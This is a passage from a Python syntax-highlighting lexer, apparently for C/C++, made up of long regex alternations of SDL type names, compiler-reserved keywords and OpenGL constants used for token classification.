r'SDL_HapticCondition|'\n r'SDL_HapticConstant|'\n r'SDL_HapticCustom|'\n r'SDL_HapticDirection|'\n r'SDL_HapticEffect|'\n r'SDL_HapticLeftRight|'\n r'SDL_HapticPeriodic|'\n r'SDL_HapticRamp|'\n r'SDL_HintCallback|'\n r'SDL_HintPriority|'\n r'SDL_JoyAxisEvent|'\n r'SDL_JoyBallEvent|'\n r'SDL_JoyButtonEvent|'\n r'SDL_JoyDeviceEvent|'\n r'SDL_JoyHatEvent|'\n r'SDL_Joystick|'\n r'SDL_JoystickGUID|'\n r'SDL_JoystickID|'\n r'SDL_Key|'\n r'SDL_KeyboardEvent|'\n r'SDL_Keycode|'\n r'SDL_Keymod|'\n r'SDL_Keysym|'\n r'SDL_LogOutputFunction|'\n r'SDL_LogPriority|'\n r'SDL_MessageBox|'\n r'SDL_MessageBoxButtonData|'\n r'SDL_MessageBoxButtonFlags|'\n r'SDL_MessageBoxColor|'\n r'SDL_MessageBoxColorScheme|'\n r'SDL_MessageBoxColorType|'\n r'SDL_MessageBoxData|'\n r'SDL_MessageBoxFlags|'\n r'SDL_MouseButtonEvent|'\n r'SDL_MouseMotionEvent|'\n r'SDL_MouseWheelEvent|'\n r'SDL_MultiGestureEvent|'\n r'SDL_Palette|'\n r'SDL_PixelFormat|'\n r'SDL_Point|'\n r'SDL_PowerState|'\n r'SDL_QuitEvent|'\n r'SDL_RWops|'\n r'SDL_Rect|'\n r'SDL_RectEmpty|'\n r'SDL_RectEquals|'\n r'SDL_Renderer|'\n r'SDL_RendererFlags|'\n r'SDL_RendererFlip|'\n r'SDL_RendererInfo|'\n r'SDL_Scancode|'\n r'SDL_SpinLock|'\n r'SDL_Surface|'\n r'SDL_SysWMEvent|'\n r'SDL_SysWMinfo|'\n r'SDL_SysWMmsg|'\n r'SDL_SystemCursor|'\n r'SDL_TextEditingEvent|'\n r'SDL_TextInputEvent|'\n r'SDL_Texture|'\n r'SDL_TextureAccess|'\n r'SDL_TextureModulate|'\n r'SDL_Thread|'\n r'SDL_ThreadFunction|'\n r'SDL_ThreadPriority|'\n r'SDL_TimerCallback|'\n r'SDL_TimerID|'\n r'SDL_TouchFingerEvent|'\n r'SDL_TouchID|'\n r'SDL_UserEvent|'\n r'SDL_WinRT_Path|'\n r'SDL_WinRT_main_NonXAML|'\n r'SDL_Window|'\n r'SDL_WindowEvent|'\n r'SDL_WindowEventID|'\n r'SDL_WindowFlags|'\n r'SDL_WindowShapeMode|'\n r'SDL_WindowShapeParams|'\n r'SDL_assert|'\n r'SDL_assert_data|'\n r'SDL_assert_state|'\n r'SDL_atomic_t|'\n r'SDL_bool|'\n r'SDL_cond|'\n r'SDL_errorcode|'\n r'SDL_mutex|'\n r'SDL_mutexP|'\n r'SDL_mutexV|'\n r'SDL_sem|'\n r'SDL_syswm|'\n r'SDL_threadID|'\n r'SDL_version)\\b', Keyword.Type),\n (r'(_{0,2}inline|naked|thread)\\b', Keyword.Reserved),\n (r'__(asm|int8|based|except|int16|stdcall|cdecl|fastcall|int32|'\n r'declspec|finally|int64|try|leave|wchar_t|w64|virtual_inheritance|'\n r'uuidof|unaligned|super|single_inheritance|raise|noop|'\n r'multiple_inheritance|m128i|m128d|m128|m64|interface|'\n r'identifier|forceinline|event|assume)\\b', Keyword.Reserved),\n # Offload C++ extensions, http://offload.codeplay.com/\n (r'(__offload|__blockingoffload|__outer)\\b', Keyword.Psuedo),\n (r'(true|false)\\b', Keyword.Constant),\n (r'NULL|nullptr\\b', Name.Builtin),\n (r'(true|false'\n r'GL_BYTE|'\n r'GL_UNSIGNED_BYTE|'\n r'GL_SHORT|'\n r'GL_UNSIGNED_SHORT|'\n r'GL_INT|'\n r'GL_UNSIGNED_INT|'\n r'GL_FLOAT|'\n r'GL_DOUBLE|'\n r'GL_2_BYTES|'\n r'GL_3_BYTES|'\n r'GL_4_BYTES|'\n r'GL_PERCENTAGE_AMD|'\n r'GL_UNSIGNED_INT64_AMD|'\n r'GL_COUNTER_TYPE_AMD|'\n r'GL_COUNTER_RANGE_AMD|'\n r'GL_PERFMON_RESULT_AVAILABLE_AMD|'\n r'GL_PERFMON_RESULT_SIZE_AMD|'\n r'GL_PERFMON_RESULT_AMD|'\n r'GL_FALSE|'\n r'GL_TRUE|'\n r'GL_POINTS|'\n r'GL_LINES|'\n r'GL_LINE_LOOP|'\n r'GL_LINE_STRIP|'\n r'GL_TRIANGLES|'\n r'GL_TRIANGLE_STRIP|'\n r'GL_TRIANGLE_FAN|'\n r'GL_QUADS|'\n r'GL_QUAD_STRIP|'\n r'GL_POLYGON|'\n r'GL_VERTEX_ARRAY|'\n r'GL_NORMAL_ARRAY|'\n r'GL_COLOR_ARRAY|'\n r'GL_INDEX_ARRAY|'\n r'GL_TEXTURE_MAX_ANISOTROPY|'\n r'GL_TEXTURE_COORD_ARRAY|'\n r'GL_EDGE_FLAG_ARRAY|'\n r'GL_VERTEX_ARRAY_SIZE|'\n r'GL_VERTEX_ARRAY_TYPE|'\n r'GL_VERTEX_ARRAY_STRIDE|'\n r'GL_NORMAL_ARRAY_TYPE|'\n r'GL_NORMAL_ARRAY_STRIDE|'\n r'GL_COLOR_ARRAY_SIZE|'\n r'GL_COLOR_ARRAY_TYPE|'\n r'GL_COLOR_ARRAY_STRIDE|'\n r'GL_INDEX_ARRAY_TYPE|'\n r'GL_INDEX_ARRAY_STRIDE|'\n r'GL_TEXTURE_COORD_ARRAY_SIZE|'\n r'GL_TEXTURE_COORD_ARRAY_TYPE|'\n r'GL_TEXTURE_COORD_ARRAY_STRIDE|'\n r'GL_EDGE_FLAG_ARRAY_STRIDE|'\n r'GL_VERTEX_ARRAY_POINTER|'\n r'GL_NORMAL_ARRAY_POINTER|'\n r'GL_COLOR_ARRAY_POINTER|'\n r'GL_INDEX_ARRAY_POINTER|'\n r'GL_TEXTURE_COORD_ARRAY_POINTER|'\n r'GL_EDGE_FLAG_ARRAY_POINTER|'\n r'GL_V2F|'\n r'GL_V3F|'\n r'GL_C4UB_V2F|'\n r'GL_C4UB_V3F|'\n r'GL_C3F_V3F|'\n r'GL_N3F_V3F|'\n r'GL_C4F_N3F_V3F|'\n r'GL_T2F_V3F|'\n r'GL_T4F_V4F|'\n r'GL_T2F_C4UB_V3F|'\n r'GL_T2F_C3F_V3F|'\n r'GL_T2F_N3F_V3F|'\n r'GL_T2F_C4F_N3F_V3F|'\n r'GL_T4F_C4F_N3F_V4F|'\n r'GL_MATRIX_MODE|'\n r'GL_MODELVIEW|'\n r'GL_PROJECTION|'\n r'GL_TEXTURE|'\n r'GL_POINT_SMOOTH|'\n r'GL_POINT_SIZE|'\n r'GL_POINT_SIZE_GRANULARITY|'\n r'GL_POINT_SIZE_RANGE|'\n r'GL_LINE_SMOOTH|'\n r'GL_LINE_STIPPLE|'\n r'GL_LINE_STIPPLE_PATTERN|'\n r'GL_LINE_STIPPLE_REPEAT|'\n r'GL_LINE_WIDTH|'\n r'GL_LINE_WIDTH_GRANULARITY|'\n r'GL_LINE_WIDTH_RANGE|'\n r'GL_POINT|'\n r'GL_LINE|'\n r'GL_FILL|'\n r'GL_CW|'\n r'GL_CCW|'\n r'GL_FRONT|'\n r'GL_BACK|'\n r'GL_POLYGON_MODE|'\n r'GL_POLYGON_SMOOTH|'\n r'GL_POLYGON_STIPPLE|'\n r'GL_EDGE_FLAG|'\n r'GL_CULL_FACE|'\n r'GL_CULL_FACE_MODE|'\n r'GL_FRONT_FACE|'\n r'GL_POLYGON_OFFSET_FACTOR|'\n r'GL_POLYGON_OFFSET_UNITS|'\n r'GL_POLYGON_OFFSET_POINT|'\n r'GL_POLYGON_OFFSET_LINE|'\n r'GL_POLYGON_OFFSET_FILL|'\n r'GL_COMPILE|'\n r'GL_COMPILE_AND_EXECUTE|'\n r'GL_LIST_BASE|'\n r'GL_LIST_INDEX|'\n r'GL_LIST_MODE|'\n r'GL_NEVER|'\n r'GL_LESS|'\n r'GL_EQUAL|'\n r'GL_LEQUAL|'\n r'GL_GREATER|'\n r'GL_NOTEQUAL|'\n r'GL_GEQUAL|'\n r'GL_ALWAYS|'\n r'GL_DEPTH_TEST|'\n r'GL_DEPTH_BITS|'\n r'GL_DEPTH_CLEAR_VALUE|'\n r'GL_DEPTH_FUNC|'\n r'GL_DEPTH_RANGE|'\n r'GL_DEPTH_WRITEMASK|'\n r'GL_DEPTH_COMPONENT|'\n r'GL_LIGHTING|'\n r'GL_LIGHT0|'\n r'GL_LIGHT1|'\n r'GL_LIGHT2|'\n r'GL_LIGHT3|'\n r'GL_LIGHT4|'\n r'GL_LIGHT5|'\n r'GL_LIGHT6|'\n r'GL_LIGHT7|'\n r'GL_SPOT_EXPONENT|'\n r'GL_SPOT_CUTOFF|'\n r'GL_CONSTANT_ATTENUATION|'\n r'GL_LINEAR_ATTENUATION|'\n r'GL_QUADRATIC_ATTENUATION|'\n r'GL_AMBIENT|'\n r'GL_DIFFUSE|'\n r'GL_SPECULAR|'\n r'GL_SHININESS|'\n r'GL_EMISSION|'\n r'GL_POSITION|'\n r'GL_SPOT_DIRECTION|'\n r'GL_AMBIENT_AND_DIFFUSE|'\n r'GL_COLOR_INDEXES|'\n r'GL_LIGHT_MODEL_TWO_SIDE|'\n r'GL_LIGHT_MODEL_LOCAL_VIEWER|'\n r'GL_LIGHT_MODEL_AMBIENT|'\n r'GL_FRONT_AND_BACK|'\n r'GL_SHADE_MODEL|'\n r'GL_FLAT|'\n r'GL_SMOOTH|'\n r'GL_COLOR_MATERIAL|'\n r'GL_COLOR_MATERIAL_FACE|'\n r'GL_COLOR_MATERIAL_PARAMETER|'\n r'GL_NORMALIZE|'\n r'GL_CLIP_PLANE0|'\n r'GL_CLIP_PLANE1|'\n r'GL_CLIP_PLANE2|'\n r'GL_CLIP_PLANE3|'\n r'GL_CLIP_PLANE4|'\n r'GL_CLIP_PLANE5|'\n r'GL_ACCUM_RED_BITS|'\n r'GL_ACCUM_GREEN_BITS|'\n r'GL_ACCUM_BLUE_BITS|'\n r'GL_ACCUM_ALPHA_BITS|'\n r'GL_ACCUM_CLEAR_VALUE|'\n r'GL_ACCUM|'\n r'GL_ADD|'\n r'GL_LOAD|'\n r'GL_MULT|'\n r'GL_RETURN|'\n r'GL_ALPHA_TEST|'\n r'GL_ALPHA_TEST_REF|'\n r'GL_ALPHA_TEST_FUNC|'\n r'GL_BLEND|'\n r'GL_BLEND_SRC|'\n r'GL_BLEND_DST|'\n r'GL_ZERO|'\n r'GL_ONE|'\n r'GL_SRC_COLOR|'\n r'GL_ONE_MINUS_SRC_COLOR|'\n r'GL_SRC_ALPHA|'\n r'GL_ONE_MINUS_SRC_ALPHA|'\n r'GL_DST_ALPHA|'\n r'GL_ONE_MINUS_DST_ALPHA|'\n r'GL_DST_COLOR|'\n r'GL_ONE_MINUS_DST_COLOR|'\n r'GL_SRC_ALPHA_SATURATE|'\n r'GL_CONSTANT_COLOR|'\n r'GL_ONE_MINUS_CONSTANT_COLOR|'\n r'GL_CONSTANT_ALPHA|'\n r'GL_ONE_MINUS_CONSTANT_ALPHA|'\n r'GL_FEEDBACK|'\n r'GL_RENDER|'\n r'GL_SELECT|'\n r'GL_2D|'\n r'GL_3D|'\n r'GL_3D_COLOR|'\n r'GL_3D_COLOR_TEXTURE|'\n r'GL_4D_COLOR_TEXTURE|'\n r'GL_POINT_TOKEN|'\n r'GL_LINE_TOKEN|'\n r'GL_LINE_RESET_TOKEN|'\n r'GL_POLYGON_TOKEN|'\n r'GL_BITMAP_TOKEN|'\n r'GL_DRAW_PIXEL_TOKEN|'\n r'GL_COPY_PIXEL_TOKEN|'\n r'GL_PASS_THROUGH_TOKEN|'\n r'GL_FEEDBACK_BUFFER_POINTER|'\n r'GL_FEEDBACK_BUFFER_SIZE|'\n r'GL_FEEDBACK_BUFFER_TYPE|'\n r'GL_SELECTION_BUFFER_POINTER|'\n r'GL_SELECTION_BUFFER_SIZE|'\n r'GL_FOG|'\n r'GL_FOG_MODE|'\n r'GL_FOG_DENSITY|'\n r'GL_FOG_COLOR|'\n r'GL_FOG_INDEX|'\n r'GL_FOG_START|'\n r'GL_FOG_END|'\n r'GL_LINEAR|'\n r'GL_EXP|'\n r'GL_EXP2|'\n r'GL_LOGIC_OP|'\n r'GL_INDEX_LOGIC_OP|'\n r'GL_COLOR_LOGIC_OP|'\n r'GL_LOGIC_OP_MODE|'\n r'GL_CLEAR|'\n r'GL_SET|'\n r'GL_COPY|'\n r'GL_COPY_INVERTED|'\n r'GL_NOOP|'\n r'GL_INVERT|'\n r'GL_AND|'\n r'GL_NAND|'\n r'GL_OR|'\n r'GL_NOR|'\n r'GL_XOR|'\n r'GL_EQUIV|'\n r'GL_AND_REVERSE|'\n r'GL_AND_INVERTED|'\n r'GL_OR_REVERSE|'\n r'GL_OR_INVERTED|'\n r'GL_STENCIL_TEST|'\n r'GL_STENCIL_WRITEMASK|'\n r'GL_STENCIL_BITS|'\n r'GL_STENCIL_FUNC|'\n r'GL_STENCIL_VALUE_MASK|'\n r'GL_STENCIL_REF|'\n r'GL_STENCIL_FAIL|'\n r'GL_STENCIL_PASS_DEPTH_PASS|'\n r'GL_STENCIL_PASS_DEPTH_FAIL|'\n r'GL_STENCIL_CLEAR_VALUE|'\n r'GL_STENCIL_INDEX|'\n r'GL_KEEP|'\n r'GL_REPLACE|'\n r'GL_INCR|'\n r'GL_DECR|'\n r'GL_NONE|'\n r'GL_LEFT|'\n r'GL_RIGHT|'\n r'GL_FRONT_LEFT|'\n r'GL_FRONT_RIGHT|'\n r'GL_BACK_LEFT|'\n r'GL_BACK_RIGHT|'\n r'GL_AUX0|'\n r'GL_AUX1|'\n r'GL_AUX2|'\n r'GL_AUX3|'\n r'GL_COLOR_INDEX|'\n r'GL_RED|'\n r'GL_GREEN|'\n r'GL_BLUE|'\n r'GL_ALPHA|'\n r'GL_LUMINANCE|'\n r'GL_LUMINANCE_ALPHA|'\n r'GL_ALPHA_BITS|'\n r'GL_RED_BITS|'\n r'GL_GREEN_BITS|'\n r'GL_BLUE_BITS|'\n r'GL_INDEX_BITS|'\n r'GL_SUBPIXEL_BIT|'\n r'GL_AUX_BUFFERS|'\n r'GL_READ_BUFFER|'\n r'GL_DRAW_BUFFER|'\n r'GL_DOUBLEBUFFER|'\n r'GL_STEREO|'\n r'GL_BITMAP|'\n r'GL_COLOR|'\n r'GL_DEPTH|'\n r'GL_STENCIL|'\n r'GL_DITHER|'\n r'GL_RGB|'\n r'GL_RGBA|'\n r'GL_MAX_LIST_NESTING|'\n r'GL_MAX_ATTRIB_STACK_DEPTH|'\n r'GL_MAX_MODELVIEW_STACK_DEPTH|'\n r'GL_MAX_NAME_STACK_DEPTH|'\n r'GL_MAX_PROJECTION_STACK_DEPTH|'\n r'GL_MAX_TEXTURE_STACK_DEPTH|'\n r'GL_MAX_EVAL_ORDER|'\n r'GL_MAX_LIGHTS|'\n r'GL_MAX_CLIP_PLANES|'\n r'GL_MAX_TEXTURE_SIZE|'\n r'GL_MAX_PIXEL_MAP_TABLE|'\n r'GL_MAX_VIEWPORT_DIMS|'\n r'GL_MAX_CLIENT_ATTRIB_STACK_DEPTH|'\n r'GL_ATTRIB_STACK_DEPTH|'\n r'GL_CLIENT_ATTRIB_STACK_DEPTH|'\n r'GL_COLOR_CLEAR_VALUE|'\n r'GL_COLOR_WRITEMASK|'\n r'GL_CURRENT_INDEX|'\n r'GL_CURRENT_COLOR|'\n r'GL_CURRENT_NORMAL|'\n r'GL_CURRENT_RASTER_COLOR|'\n r'GL_CURRENT_RASTER_DISTANCE|'\n r'GL_CURRENT_RASTER_INDEX|'\n r'GL_CURRENT_RASTER_POSITION|'\n r'GL_CURRENT_RASTER_TEXTURE_COORDS|'\n r'GL_CURRENT_RASTER_POSITION_VALID|'\n r'GL_CURRENT_TEXTURE_COORDS|'\n r'GL_INDEX_CLEAR_VALUE|'\n r'GL_INDEX_MODE|'\n r'GL_INDEX_WRITEMASK|'\n r'GL_MODELVIEW_MATRIX|'\n r'GL_MODELVIEW_STACK_DEPTH|'\n r'GL_NAME_STACK_DEPTH|'\n r'GL_PROJECTION_MATRIX|'\n r'GL_PROJECTION_STACK_DEPTH|'\n r'GL_RENDER_MODE|'\n r'GL_RGBA_MODE|'\n r'GL_TEXTURE_MATRIX|'\n r'GL_TEXTURE_STACK_DEPTH|'\n r'GL_VIEWPORT|'\n r'GL_AUTO_NORMAL|'\n r'GL_MAP1_COLOR_4|'\n r'GL_MAP1_GRID_DOMAIN|'\n r'GL_MAP1_GRID_SEGMENTS|'\n r'GL_MAP1_INDEX|'\n r'GL_MAP1_NORMAL|'\n r'GL_MAP1_TEXTURE_COORD_1|'\n r'GL_MAP1_TEXTURE_COORD_2|'\n r'GL_MAP1_TEXTURE_COORD_3|'\n r'GL_MAP1_TEXTURE_COORD_4|'\n r'GL_MAP1_VERTEX_3|'\n r'GL_MAP1_VERTEX_4|'\n r'GL_MAP2_COLOR_4|'\n r'GL_MAP2_GRID_DOMAIN|'\n r'GL_MAP2_GRID_SEGMENTS|'\n r'GL_MAP2_INDEX|'\n r'GL_MAP2_NORMAL|'\n r'GL_MAP2_TEXTURE_COORD_1|'\n r'GL_MAP2_TEXTURE_COORD_2|'\n r'GL_MAP2_TEXTURE_COORD_3|'\n r'GL_MAP2_TEXTURE_COORD_4|'\n r'GL_MAP2_VERTEX_3|'\n r'GL_MAP2_VERTEX_4|'\n r'GL_COEFF|'\n r'GL_DOMAIN|'\n r'GL_ORDER|'\n r'GL_FOG_HINT|'\n r'GL_LINE_SMOOTH_HINT|'\n r'GL_PERSPECTIVE_CORRECTION_HINT|'\n r'GL_POINT_SMOOTH_HINT|'\n r'GL_POLYGON_SMOOTH_HINT|'\n r'GL_DONT_CARE|'\n r'GL_FASTEST|'\n r'GL_NICEST|'\n r'GL_SCISSOR_TEST|'\n r'GL_SCISSOR_BOX|'\n r'GL_MAP_COLOR|'\n r'GL_MAP_STENCIL|'\n r'GL_INDEX_SHIFT|'\n r'GL_INDEX_OFFSET|'\n r'GL_RED_SCALE|'\n r'GL_RED_BIAS|'\n r'GL_GREEN_SCALE|'\n r'GL_GREEN_BIAS|'\n r'GL_BLUE_SCALE|'\n r'GL_BLUE_BIAS|'\n r'GL_ALPHA_SCALE|'\n r'GL_ALPHA_BIAS|'\n r'GL_DEPTH_SCALE|'\n r'GL_DEPTH_BIAS|'\n r'GL_PIXEL_MAP_S_TO_S_SIZE|'\n r'GL_PIXEL_MAP_I_TO_I_SIZE|'\n r'GL_PIXEL_MAP_I_TO_R_SIZE|'\n r'GL_PIXEL_MAP_I_TO_G_SIZE|'\n r'GL_PIXEL_MAP_I_TO_B_SIZE|'\n r'GL_PIXEL_MAP_I_TO_A_SIZE|'\n r'GL_PIXEL_MAP_R_TO_R_SIZE|'\n r'GL_PIXEL_MAP_G_TO_G_SIZE|'\n r'GL_PIXEL_MAP_B_TO_B_SIZE|'\n r'GL_PIXEL_MAP_A_TO_A_SIZE|'\n r'GL_PIXEL_MAP_S_TO_S|'\n r'GL_PIXEL_MAP_I_TO_I|'\n r'GL_PIXEL_MAP_I_TO_R|'\n r'GL_PIXEL_MAP_I_TO_G|'\n r'GL_PIXEL_MAP_I_TO_B|'\n r'GL_PIXEL_MAP_I_TO_A|'\n r'GL_PIXEL_MAP_R_TO_R|'\n r'GL_PIXEL_MAP_G_TO_G|'\n r'GL_PIXEL_MAP_B_TO_B|'\n r'GL_PIXEL_MAP_A_TO_A|'\n r'GL_PACK_ALIGNMENT|'\n r'GL_PACK_LSB_FIRST|'\n r'GL_PACK_ROW_LENGTH|'\n r'GL_PACK_SKIP_PIXELS|'\n r'GL_PACK_SKIP_ROWS|'\n r'GL_PACK_SWAP_BYTES|'\n r'GL_UNPACK_ALIGNMENT|'\n r'GL_UNPACK_ROW_LENGTH|'\n r'GL_UNPACK_SKIP_PIXELS|'\n r'GL_UNPACK_SKIP_ROWS|'\n r'GL_UNPACK_SWAP_BYTES|'\n r'GL_ZOOM_X|'\n r'GL_ZOOM_Y|'\n r'GL_TEXTURE_ENV|'\n r'GL_TEXTURE_ENV_MODE|'\n r'GL_TEXTURE_1D|'\n r'GL_TEXTURE_2D|'\n r'GL_TEXTURE_WRAP_S|'\n r'GL_TEXTURE_WRAP_T|'\n r'GL_TEXTURE_MAG_FILTER|'\n r'GL_TEXTURE_MIN_FILTER|'\n r'GL_TEXTURE_ENV_COLOR|'\n r'GL_TEXTURE_GEN_S|'\n r'GL_TEXTURE_GEN_T|'\n r'GL_TEXTURE_GEN_MODE|'\n r'GL_TEXTURE_BORDER_COLOR|'\n r'GL_TEXTURE_WIDTH|'\n r'GL_TEXTURE_HEIGHT|'\n r'GL_TEXTURE_BORDER|'\n r'GL_TEXTURE_COMPONENTS|'\n r'GL_TEXTURE_RED_SIZE|'\n r'GL_TEXTURE_GREEN_SIZE|'\n r'GL_TEXTURE_BLUE_SIZE|'\n r'GL_TEXTURE_ALPHA_SIZE|'\n r'GL_TEXTURE_LUMINANCE_SIZE|'\n r'GL_TEXTURE_INTENSITY_SIZE|'\n r'GL_NEAREST_MIPMAP_NEAREST|'\n r'GL_NEAREST_MIPMAP_LINEAR|'\n r'GL_LINEAR_MIPMAP_NEAREST|'\n r'GL_LINEAR_MIPMAP_LINEAR|'\n r'GL_OBJECT_LINEAR|'\n r'GL_OBJECT_PLANE|'\n r'GL_EYE_LINEAR|'\n r'GL_EYE_PLANE|'\n r'GL_SPHERE_MAP|'\n r'GL_DECAL|'\n r'GL_MODULATE|'\n r'GL_NEAREST|'\n r'GL_REPEAT|'\n r'GL_CLAMP|'\n r'GL_S|'\n r'GL_T|'\n r'GL_R|'\n r'GL_Q|'\n r'GL_TEXTURE_GEN_R|'\n r'GL_TEXTURE_GEN_Q|'\n r'GL_VENDOR|'\n r'GL_RENDERER|'\n r'GL_VERSION|'\n r'GL_EXTENSIONS|'\n r'GL_NO_ERROR|'\n r'GL_INVALID_VALUE|'\n r'GL_INVALID_ENUM|'\n r'GL_INVALID_OPERATION|'\n r'GL_STACK_OVERFLOW|'\n r'GL_STACK_UNDERFLOW|'\n r'GL_OUT_OF_MEMORY|'\n r'GL_TABLE_TOO_LARGE|'\n r'GL_CURRENT_BIT|'\n r'GL_POINT_BIT|'\n r'GL_LINE_BIT|'\n r'GL_POLYGON_BIT|'\n r'GL_POLYGON_STIPPLE_BIT|'\n r'GL_PIXEL_MODE_BIT|'\n r'GL_LIGHTING_BIT|'\n r'GL_FOG_BIT|'\n r'GL_DEPTH_BUFFER_BIT|'\n r'GL_ACCUM_BUFFER_BIT|'\n r'GL_STENCIL_BUFFER_BIT|'\n r'GL_VIEWPORT_BIT|'\n r'GL_TRANSFORM_BIT|'\n r'GL_ENABLE_BIT|'\n r'GL_COLOR_BUFFER_BIT|'\n r'GL_HINT_BIT|'\n r'GL_EVAL_BIT|'\n r'GL_LIST_BIT|'\n r'GL_TEXTURE_BIT|'\n r'GL_SCISSOR_BIT|'\n r'GL_ALL_ATTRIB_BITS|'\n r'GL_PROXY_TEXTURE_1D|'\n r'GL_PROXY_TEXTURE_2D|'\n r'GL_TEXTURE_PRIORITY|'\n r'GL_TEXTURE_RESIDENT|'\n r'GL_TEXTURE_BINDING_1D|'\n r'GL_TEXTURE_BINDING_2D|'\n r'GL_TEXTURE_INTERNAL_FORMAT|'\n r'GL_ALPHA4|'\n r'GL_ALPHA8|'\n r'GL_ALPHA12|'\n r'GL_ALPHA16|'\n r'GL_LUMINANCE4|'\n r'GL_LUMINANCE8|'\n r'GL_LUMINANCE12|'\n r'GL_LUMINANCE16|'\n r'GL_LUMINANCE4_ALPHA4|'\n r'GL_LUMINANCE6_ALPHA2|'\n r'GL_LUMINANCE8_ALPHA8|'\n r'GL_LUMINANCE12_ALPHA4|'\n r'GL_LUMINANCE12_ALPHA12|'\n r'GL_LUMINANCE16_ALPHA16|'\n r'GL_INTENSITY|'\n r'GL_INTENSITY4|'\n r'GL_INTENSITY8|'\n r'GL_INTENSITY12|'\n r'GL_INTENSITY16|'\n r'GL_R3_G3_B2|'\n r'GL_RGB4|'\n r'GL_RGB5|'\n r'GL_RGB8|'\n r'GL_RGB10|'\n r'GL_RGB12|'\n r'GL_RGB16|'\n r'GL_RGBA2|'\n r'GL_RGBA4|'\n r'GL_RGB5_A1|'\n r'GL_RGBA8|'\n r'GL_RGB10_A2|'\n r'GL_RGBA12|'\n r'GL_RGBA16|'\n r'GL_CLIENT_PIXEL_STORE_BIT|'\n r'GL_CLIENT_VERTEX_ARRAY_BIT|'\n r'GL_ALL_CLIENT_ATTRIB_BITS|'\n r'GL_CLIENT_ALL_ATTRIB_BITS|'\n r'GL_RESCALE_NORMAL|'\n r'GL_CLAMP_TO_EDGE|'\n r'GL_MAX_ELEMENTS_VERTICES|'\n r'GL_MAX_ELEMENTS_INDICES|'\n r'GL_BGR|'\n r'GL_BGRA|'\n r'GL_UNSIGNED_BYTE_3_3_2|'\n r'GL_UNSIGNED_BYTE_2_3_3_REV|'\n r'GL_UNSIGNED_SHORT_5_6_5|'\n r'GL_UNSIGNED_SHORT_5_6_5_REV|'\n r'GL_UNSIGNED_SHORT_4_4_4_4|'\n r'GL_UNSIGNED_SHORT_4_4_4_4_REV|'\n r'GL_UNSIGNED_SHORT_5_5_5_1|'\n r'GL_UNSIGNED_SHORT_1_5_5_5_REV|'\n r'GL_UNSIGNED_INT_8_8_8_8|'\n r'GL_UNSIGNED_INT_8_8_8_8_REV|'\n r'GL_UNSIGNED_INT_10_10_10_2|'\n r'GL_UNSIGNED_INT_2_10_10_10_REV|'\n r'GL_LIGHT_MODEL_COLOR_CONTROL|'\n r'GL_SINGLE_COLOR|'\n r'GL_SEPARATE_SPECULAR_COLOR|'\n r'GL_TEXTURE_MIN_LOD|'\n r'GL_TEXTURE_MAX_LOD|'\n r'GL_TEXTURE_BASE_LEVEL|'\n r'GL_TEXTURE_MAX_LEVEL|'\n r'GL_SMOOTH_POINT_SIZE_RANGE|'\n r'GL_SMOOTH_POINT_SIZE_GRANULARITY|'\n r'GL_SMOOTH_LINE_WIDTH_RANGE|'\n r'GL_SMOOTH_LINE_WIDTH_GRANULARITY|'\n r'GL_ALIASED_POINT_SIZE_RANGE|'\n r'GL_ALIASED_LINE_WIDTH_RANGE|'\n r'GL_PACK_SKIP_IMAGES|'\n r'GL_PACK_IMAGE_HEIGHT|'\n r'GL_UNPACK_SKIP_IMAGES|'\n r'GL_UNPACK_IMAGE_HEIGHT|'\n r'GL_TEXTURE_3D|'\n r'GL_PROXY_TEXTURE_3D|'\n r'GL_TEXTURE_DEPTH|'\n r'GL_TEXTURE_WRAP_R|'\n r'GL_MAX_3D_TEXTURE_SIZE|'\n r'GL_TEXTURE_BINDING_3D|'\n r'GL_TEXTURE0|'\n r'GL_TEXTURE1|'\n r'GL_TEXTURE2|'\n r'GL_TEXTURE3|'\n r'GL_TEXTURE4|'\n r'GL_TEXTURE5|'\n r'GL_TEXTURE6|'\n r'GL_TEXTURE7|'\n r'GL_TEXTURE8|'\n r'GL_TEXTURE9|'\n r'GL_TEXTURE10|'\n r'GL_TEXTURE11|'\n r'GL_TEXTURE12|'\n r'GL_TEXTURE13|'\n r'GL_TEXTURE14|'\n r'GL_TEXTURE15|'\n r'GL_TEXTURE16|'\n r'GL_TEXTURE17|'\n r'GL_TEXTURE18|'\n r'GL_TEXTURE19|'\n r'GL_TEXTURE20|'\n r'GL_TEXTURE21|'\n r'GL_TEXTURE22|'\n r'GL_TEXTURE23|'\n r'GL_TEXTURE24|'\n r'GL_TEXTURE25|'\n r'GL_TEXTURE26|'\n r'GL_TEXTURE27|'\n r'GL_TEXTURE28|'\n r'GL_TEXTURE29|'\n r'GL_TEXTURE30|'\n r'GL_TEXTURE31|'\n r'GL_ACTIVE_TEXTURE|'\n r'GL_CLIENT_ACTIVE_TEXTURE|'\n r'GL_MAX_TEXTURE_UNITS|'\n r'GL_NORMAL_MAP|'\n r'GL_REFLECTION_MAP|'\n r'GL_TEXTURE_CUBE_MAP|'\n r'GL_TEXTURE_BINDING_CUBE_MAP|'\n r'GL_TEXTURE_CUBE_MAP_POSITIVE_X|'\n r'GL_TEXTURE_CUBE_MAP_NEGATIVE_X|'\n r'GL_TEXTURE_CUBE_MAP_POSITIVE_Y|'\n r'GL_TEXTURE_CUBE_MAP_NEGATIVE_Y|'\n r'GL_TEXTURE_CUBE_MAP_POSITIVE_Z|'\n r'GL_TEXTURE_CUBE_MAP_NEGATIVE_Z|'\n r'GL_PROXY_TEXTURE_CUBE_MAP|'\n r'GL_MAX_CUBE_MAP_TEXTURE_SIZE|'\n r'GL_COMPRESSED_ALPHA|'\n r'GL_COMPRESSED_LUMINANCE|'\n r'GL_COMPRESSED_LUMINANCE_ALPHA|'\n r'GL_COMPRESSED_INTENSITY|'\n r'GL_COMPRESSED_RGB|'\n r'GL_COMPRESSED_RGBA|'\n r'GL_TEXTURE_COMPRESSION_HINT|'\n r'GL_TEXTURE_COMPRESSED_IMAGE_SIZE|'\n r'GL_TEXTURE_COMPRESSED|'\n r'GL_NUM_COMPRESSED_TEXTURE_FORMATS|'\n r'GL_COMPRESSED_TEXTURE_FORMATS|'\n r'GL_MULTISAMPLE|'\n r'GL_SAMPLE_ALPHA_TO_COVERAGE|'\n r'GL_SAMPLE_ALPHA_TO_ONE|'\n r'GL_SAMPLE_COVERAGE|'\n r'GL_SAMPLE_BUFFERS|'\n r'GL_SAMPLES|'\n r'GL_SAMPLE_COVERAGE_VALUE|'\n r'GL_SAMPLE_COVERAGE_INVERT|'\n r'GL_MULTISAMPLE_BIT|'\n r'GL_TRANSPOSE_MODELVIEW_MATRIX|'\n 